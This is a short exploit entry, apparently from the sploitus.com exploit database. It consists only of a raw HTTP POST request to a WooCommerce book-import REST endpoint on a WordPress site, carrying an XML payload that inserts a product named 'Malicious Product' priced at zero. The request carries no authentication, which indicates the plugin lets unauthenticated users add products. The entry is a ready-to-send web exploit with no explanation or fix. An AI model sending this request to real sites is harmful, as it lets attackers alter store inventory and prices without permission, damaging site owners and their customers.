Share 
## https://sploitus.com/exploit?id=WPEX-ID:23B76562-D2AF-4753-BCE4-002921F3378E
POST /wp-json/wc/v3/bcsbertlinebookimport HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 200
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<books><book><isbn>123</isbn><title>Malicious Product</title><content>YOLO</content><price>0</price><stock>2</stock></book></books>